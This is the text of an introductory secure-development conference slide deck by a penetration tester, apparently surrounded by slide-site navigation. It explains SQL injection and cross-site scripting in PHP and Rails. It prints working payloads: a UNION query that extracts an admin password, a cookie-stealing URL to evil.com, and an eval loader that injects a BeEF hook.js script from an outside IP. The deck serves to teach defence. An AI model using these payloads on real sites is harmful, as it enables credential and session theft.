Recommended
More Related Content
What's hot
What's hot (19)
Similar to Don't Do what Derpy the Dreadful Dev Does
Similar to Don't Do what Derpy the Dreadful Dev Does (20)
Recently uploaded
Recently uploaded (20)
Don't Do what Derpy the Dreadful Dev Does
- 1. Don’t Do what Derpy The Dreadful Dev Does (also - don’t let “friends” on IRC decide on your talk title) Secure Development Melbourne, 11/06/2015
- 2. whoami • @liamosaur • Penetration Tester / Consultant with Assurance • Previously: C# / Java developer
- 3. The Brief • Basic, Introductory Level talk about security • Establish some common ground between the Infosec and Dev world
- 4. Topics • Popular vulnerabilities (hopefully a recap) • Demo some tools by exploiting some vulns
- 5. OWASP Top 5/10 1. Injection (SQLi, Command injection, XXE, LDAPi etc) 2. Broken Auth / Session Management 3. Cross-Site Scripting (XSS) 4. Insecure Direct Object References 5. Security Misconfiguration
- 6. SQLi basics • Inject user controlled content into dynamic SQL queries, allowing unintended access/ control of database
- 7. SQLi basics • PHP: $query = "SELECT username FROM users WHERE username=‘". $_POST['username']."'"; • Input: liamo • SQL: SELECT username FROM users WHERE username=‘liamo’ • Query result: liamo
- 8. SQLi basics • PHP: $query = "SELECT username FROM users WHERE username=‘". $_POST['username']."'"; • Input: ' OR 'a'='a • SQL: SELECT username FROM users WHERE username=‘' OR ‘a'='a’ • Query result: list of all users
- 9. SQLi basics • PHP: $query = "SELECT username FROM users WHERE username=‘". $_POST['username']."'"; • Input: liamo' UNION SELECT password FROM users WHERE username='admin • SQL: SELECT username FROM users WHERE username=‘liamo' UNION SELECT password FROM users WHERE username='admin’ • Query result: liamo and the admin password
- 10. Cross-Site Scripting (XSS) • Inject user controlled content into dynamic web content, allowing unintended access/ control within a target browser
- 11. XSS Basics • HTML: <html><body>Hello, <?php echo $_REQUEST ['name']; ?>!</body></ html> • Input: Liam • Output: Hello, Liam!
- 12. XSS Basics • HTML: <html><body>Hello, <? php echo $_REQUEST ['name']; ?>!</body></ html> • Input: Liam<script>alert(1)</ script> • Output:
- 13. XSS - Who cares? • Old school - cookie stealing • http://evil.com/cookies.php? +escape(document.cookie) • Steal session ID - game over • Less effective thanks to httpOnly cookie flag
- 14. “Nobody uses PHP anymore Liam, all the cool kids use Ruby on Rails now” PHP Demo!
- 15. Rails • Problem #1 - I don’t know Rails • Solution: Learn Rails! (this is definitely a worthwhile proposition for a “10-20 minute talk”)
- 16. Rails • Learned Rails. Wrote a basic app • Problem #2: Rails has ActiveRecord magic beans that prevent SQLi
- 17. Rails • Solution: Uhh.. maybe I’ll just demo XSS instead!
- 18. Rails • Problem #3: Rails has input/ output escaping magic beans that prevent XSS
- 19. • Solution: Declare webapp security solved, retire from pentesting, write Rails app, move to SF, get VC, found startup, sell to Google/Apple, make fat stacks, retire
- 20. Rubby Demo!
- 22. Presenting: Rubby • Bad code • Better code
- 23. Exploiting Rubby
- 24. Rubby XSS • “link_to” is vulnerable to XSS out of the box if it displays user controlled content
- 25. Rubby XSS • Challenge for those playing at home: some up with a shorter, more elegant way of injecting a link to hook.js into a Rails link_to than this monstrosity: javascript:eval("function x() {var a = document.createElement('scrip t');a.setAttribute('src','htt p://192.168.57.159:3000/ hook.js');document.head.appen dChild(a);};x();");
- 26. BeEF Tunnelling Proxy BeEF SERVER (http proxy) Phish with XSS hook.js Attackers Browser Victims Browser (XHR proxy) Target server (same domain as XSS phish)
- 27. Frameworks/Languages • PHP • Bad: No built in security • Ruby on Rails • Good: Built in security
- 28. Frameworks/Languages • PHP • Good: PHP devs know they need to take security into account • Ruby on Rails • Bad: “The framework takes care of security for me!”
- 29. Conclusions • Security is everyone’s responsibility • Your frameworks magic beans won’t save you
- 30. Questions - save for the Q&A Panel!
- 31. References • https://www.owasp.org/index.php/ Top_10_2013-Top_10 • http://rails-sqli.org/ • https://www.owasp.org/index.php/ Ruby_on_Rails_Cheatsheet • https://github.com/beefproject/beef/wiki/ Tunneling • http://sqlmap.org/